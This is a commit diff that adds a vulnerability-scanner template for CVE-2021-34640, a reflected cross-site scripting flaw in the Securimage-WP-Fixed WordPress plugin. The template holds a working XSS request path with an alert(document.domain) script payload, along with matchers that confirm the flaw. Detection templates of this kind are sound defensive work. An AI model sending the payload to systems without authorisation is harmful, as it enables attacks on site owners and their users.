Create CVE-2021-34640.yaml

cves/2021/CVE-2021-34640.yaml

@@ -0,0 +1,30 @@
+id: CVE-2021-34640
+
+info:
+  name: Securimage-WP-Fixed <= 3.5.4 - Reflected Cross-Site Scripting (XSS)
+  author: dhiyaneshDK
+  severity: medium
+  reference:
+    - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2
+  tags: wordpress,cve,cve2021,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-admin/options-general.php/"><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header